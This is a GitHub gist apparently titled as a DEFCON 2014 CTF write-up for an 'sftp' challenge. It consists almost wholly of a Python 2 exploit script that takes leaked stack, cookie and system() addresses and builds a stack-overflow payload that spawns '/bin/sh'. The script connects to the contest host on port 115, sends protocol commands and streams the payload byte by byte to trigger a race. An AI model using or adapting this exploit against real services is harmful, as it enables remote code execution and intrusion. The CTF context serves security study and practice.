Create a gist now

Instantly share code, notes, and snippets.

DEFCON 2014 Writeup sftp
import time
import socket
from struct import *
def cause_race():
stack = int(raw_input("stack: "),16)
cookie = int(raw_input("cookie: "),16)
system = int(raw_input("system: "),16)
payload = ""
payload += "/bin/sh\x00"
payload += "a"*(924-53-len(payload))
payload += pack("<I", cookie)
payload += "a"*12
payload += pack("<I", system)
payload += pack("<I", 0xdeadbeef)
payload += pack("<I", stack)
#open("payload", "wb")
tmp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#tmp.connect(('localhost', 115))
tmp.connect(('sftp_bf28442aa4ab1a4089ddca16729b29ac.2014.shallweplayaga.me', 115))
print tmp.recv(4096)
tmp.send("PASS defcon2014\n")
print tmp.recv(4096)
tmp.send("KILL a\n")
print tmp.recv(4096)
tmp.send("STOR OLD a\n")
print tmp.recv(4096)
tmp.send("SIZE " + str(len(payload)) + "\n")
print tmp.recv(4096)
for i in range(len(payload)):
tmp.sendall(payload[i])
tmp.close()
cause_race()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment